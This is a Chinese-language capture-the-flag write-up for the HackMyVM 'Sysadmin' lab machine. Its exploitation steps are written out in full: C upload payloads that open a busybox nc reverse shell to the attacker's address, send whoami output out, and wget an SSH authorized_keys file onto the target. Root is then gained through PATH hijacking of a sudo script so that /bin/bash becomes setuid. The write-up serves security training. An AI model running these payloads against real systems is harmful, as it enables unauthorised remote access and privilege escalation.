<h1>Sysadmin.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Sysadmin">https://hackmyvm.eu/machines/machine.php?vm=Sysadmin</a>
</blockquote>
<img src="/post-images/HackMyVMSysadmin/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-python">➜ ~ nmap -sT -min-rate 10000 -p- 192.168.56.210
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-25 15:08 CST
Nmap scan report for 192.168.56.210
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:43:E8:73 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.45 seconds
</code></pre>
<pre><code class="hljs language-python">➜ ~ nmap -sT -A -p 22,80 192.168.56.210 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-25 15:14 CST
Nmap scan report for 192.168.56.210
Host is up (0.00049s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: C Code Upload
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:43:E8:73 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 192.168.56.210

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.64 seconds
</code></pre>
<h3>枚举</h3>
<code>80</code> 端口，看样子是文件上传，并且是让我们上传 <code>C</code> 语言文件，并且会运行
<img src="/post-images/HackMyVMSysadmin/image1.png" alt="image.png">
端口扫描
<pre><code class="hljs language-python">➜ sysadmin feroxbuster --url http://192.168.56.210 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --filter-status 404,503,400 -x php,txt

 
 ___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯 Target Url │ http://192.168.56.210
 🚀 Threads │ 50
 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢 Status Code Filters │ [404, 503, 400]
 💥 Timeout (secs) │ 7
 🦡 User-Agent │ feroxbuster/2.11.0
 💉 Config File │ /etc/feroxbuster/ferox-config.toml
 🔎 Extract Links │ true
 💲 Extensions │ [php, txt]
 🏁 HTTP methods │ [GET]
 🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
 🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 59l 156w 2384c http://192.168.56.210/index.php
200 GET 59l 156w 2384c http://192.168.56.210/
[####################] - 50s 661641/661641 0s found:2 errors:1 
[####################] - 50s 661635/661635 13173/s http://192.168.56.210/
</code></pre>
F12 查看源码时发现
<pre><code class="hljs language-python">gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out
</code></pre>
<img src="/post-images/HackMyVMSysadmin/image2.png" alt="image.png">
<h2>RCE</h2>
这里的猜测是，上传 c 文件后，然后通过上边的语句进行编译然后运行，但是编译语句中带有 <code>-nostdinc</code> 不使用默认系统库函数及不搜索默认头文件路径，所以我们无法直接导入 <code>stdio.h</code> 等，需要绕过
通过使用内联函数定义，要在不依赖 <code>stdlib.h</code> 的情况下调用 system，您可以手动声明它：
测试一下是否存在RCE
<pre><code class="hljs language-python">int system(const char *command);
int main() {
 system("busybox nc 192.168.56.5 1234"); // Attempt to spawn a shell
 return 0;
}
</code></pre>
存在 RCE
<img src="/post-images/HackMyVMSysadmin/image3.png" alt="image.png">
进行反弹 <code>shell</code>
<pre><code class="hljs language-python">int system(const char *command);
int main() {
 system("busybox nc 192.168.56.5 1234 -e /bin/bash"); // Attempt to spawn a shell
 return 0;
}
</code></pre>
但是连上连上不到一会就断掉了
<img src="/post-images/HackMyVMSysadmin/image4.png" alt="image.png">
尝试写公钥，首先获取用户名
<pre><code class="hljs language-python">int system(const char *command);
int main() {
 system("echo $(whoami) | busybox nc 192.168.56.5 80");
 return 0;
}
</code></pre>
得到用户名 <code>echo</code>
<img src="/post-images/HackMyVMSysadmin/image5.png" alt="image.png">
写公钥
<pre><code class="hljs language-python"># Kali
cat ~/.ssh/authorized_keys > authorized_keys
python -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
</code></pre>
<pre><code class="hljs language-python">int system(const char *command);
int main() {
 system("mkdir -p ~/.ssh &#x26;&#x26; busybox wget 192.168.56.5/authorized_keys -O ~/.ssh/authorized_keys");
 return 0;
}
</code></pre>
<img src="/post-images/HackMyVMSysadmin/image6.png" alt="image.png">
通过私钥进行登录
<img src="/post-images/HackMyVMSysadmin/image7.png" alt="image.png">
进去后能读 <code>user.txt</code>
<pre><code class="hljs language-python">echo@Sysadmin:~$ cat user.txt 
flag{user-9592f6e02a7abaf9e38c0ef43e868cf3}
</code></pre>
<h2>命令劫持</h2>
查看 <code>sudo</code> 权限
<pre><code class="hljs language-python">echo@Sysadmin:~$ sudo -l
Matching Defaults entries for echo on Sysadmin:
 !env_reset, mail_badpass, !env_reset, always_set_home

User echo may run the following commands on Sysadmin:
 (root) NOPASSWD: /usr/local/bin/system-info.sh
</code></pre>
其中 <code>!env_reset</code> 可能存在路径劫持
查看脚本
<pre><code class="hljs language-python">echo@Sysadmin:~$ cat /usr/local/bin/system-info.sh
#!/bin/bash

#===================================
# Daily System Info Report
#===================================

echo "Starting daily system information collection at $(date)"
echo "------------------------------------------------------"

echo "Checking disk usage..."
df -h

echo "Checking log directory..."
ls -lh /var/log/
find /var/log/ -type f -name "*.gz" -mtime +30 -exec rm {} \;

echo "Checking critical services..."
systemctl is-active sshd
systemctl is-active cron

echo "Collecting CPU and memory information..."
cat /proc/cpuinfo
free -m

echo "------------------------------------------------------"
echo "Report complete at $(date)"
</code></pre>
可以看到很多可以劫持的命令
<pre><code class="hljs language-python">echo@Sysadmin:~$ echo "chmod +s /bin/bash" > /tmp/df
echo@Sysadmin:~$ chmod +x /tmp/df
echo@Sysadmin:~$ export PATH="/tmp:$PATH"
echo@Sysadmin:~$ sudo /usr/local/bin/system-info.sh
</code></pre>
<img src="/post-images/HackMyVMSysadmin/image8.png" alt="image.png">

Sysadmin. https://hackmyvm.eu/machines/machine.php?vm=Sysadmin Recon PortScan 枚举 80 端口，看样子是文件上传，并且是让我们上传 C 语言文件，并且会运行 端口扫描 F12 查看源码时发现 RCE 这里的猜测是，上传 c...

HackMyVM - Sysadmin

TheHackersLabs - THLPWN